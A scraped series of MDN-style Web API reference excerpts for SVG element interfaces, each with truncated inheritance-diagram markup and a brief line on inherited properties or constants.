...<a xlink:href="/docs/web/api/svggradientelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggradientelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants name value description svg_spreadmethod_unknown 0 the type is not one of predefined types.
SVGGraphicsElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...<a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svggraphicselement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} note: this interface was introduced in svg 2 and replaces the svglocatable and svgtransformable interfaces from svg 1.1.
SVGImageElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...de4"/><a xlink:href="/docs/web/api/svgimageelement" target="_top"><rect x="111" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="186" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgimageelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svggraphicselement.
SVGLineElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4dde4"/><a xlink:href="/docs/web/api/svglineelement" target="_top"><rect x="-99" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-29" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svglineelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svggeometryelement.
SVGLinearGradientElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...ef="/docs/web/api/svglineargradientelement" target="_top"><rect x="21" y="65" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="141" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svglineargradientelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svggradientelement.
SVGMPathElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...de4"/><a xlink:href="/docs/web/api/svgmpathelement" target="_top"><rect x="331" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgmpathelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgelement.
SVGMaskElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4dde4"/><a xlink:href="/docs/web/api/svgmaskelement" target="_top"><rect x="341" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgmaskelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svgelement.
SVGMetadataElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...<a xlink:href="/docs/web/api/svgmetadataelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgmetadataelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgelement.
SVGPathElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4dde4"/><a xlink:href="/docs/web/api/svgpathelement" target="_top"><rect x="-99" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-29" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgpathelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} note: in svg 2 the getpathsegatlength() and createsvgpathseg* methods were removed and the pathlength property and the gettotallength() and getpointatlength() methods were moved to svggeometryelement.
SVGPatternElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
.../><a xlink:href="/docs/web/api/svgpatternelement" target="_top"><rect x="311" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgpatternelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svgelement and implements the ones from svgfittoviewbox and svgurireference.
SVGPolygonElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...><a xlink:href="/docs/web/api/svgpolygonelement" target="_top"><rect x="-129" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-44" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgpolygonelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent, svggeometryelement and also implements properties from svganimatedpoints.
SVGPolylineElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...a xlink:href="/docs/web/api/svgpolylineelement" target="_top"><rect x="-139" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-49" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgpolylineelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent, svggeometryelement and also implements properties from svganimatedpoints.
SVGRadialGradientElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...ef="/docs/web/api/svgradialgradientelement" target="_top"><rect x="21" y="65" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="141" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgradialgradientelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svggradientelement.
SVGRectElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4dde4"/><a xlink:href="/docs/web/api/svgrectelement" target="_top"><rect x="-99" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-29" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgrectelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svggeometryelement.
SVGScriptElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/svgscriptelement" target="_top"><rect x="321" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgscriptelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties svgscriptelement.type read only a domstring corresponding to the type attribute of the given <script> element.
SVGSetElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...#d4dde4"/><a xlink:href="/docs/web/api/svgsetelement" target="_top"><rect x="121" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="186" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgsetelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svganimationelement.
SVGStopElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4dde4"/><a xlink:href="/docs/web/api/svgstopelement" target="_top"><rect x="341" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgstopelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement.
SVGStyleElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...de4"/><a xlink:href="/docs/web/api/svgstyleelement" target="_top"><rect x="331" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgstyleelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement and implements properties from linkstyle.
SVGSwitchElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/svgswitchelement" target="_top"><rect x="101" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="181" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgswitchelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svggraphicselement.
SVGSymbolElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/svgsymbolelement" target="_top"><rect x="321" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgsymbolelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svggraphicselement, and implements properties from svgfittoviewbox.
SVGTSpanElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="...
...4"/><a xlink:href="/docs/web/api/svgtspanelement" target="_top"><rect x="-429" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-354" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtspanelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't provide any specific properties, but inherits the properties from its parent, svgtextpositioningelement.
SVGTextContentElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...ink:href="/docs/web/api/svgtextcontentelement" target="_top"><rect x="51" y="65" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="156" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtextcontentelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants constant value description lengthadjust_unknown 0 some other value.
SVGTextElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...de4"/><a xlink:href="/docs/web/api/svgtextelement" target="_top"><rect x="-419" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-349" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtextelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgtextpositioningelement.
SVGTextPathElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...a xlink:href="/docs/web/api/svgtextpathelement" target="_top"><rect x="-169" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-79" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtextpathelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants method types name value description textpath_methodtype_unknown 0 the type is not one of predefined types.
SVGTextPositioningElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...docs/web/api/svgtextpositioningelement" target="_top"><rect x="-239" y="65" width="250" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-114" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtextpositioningelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svgtextcontentelement.
SVGTitleElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...de4"/><a xlink:href="/docs/web/api/svgtitleelement" target="_top"><rect x="331" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtitleelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgelement.
SVGUseElement - Web APIs
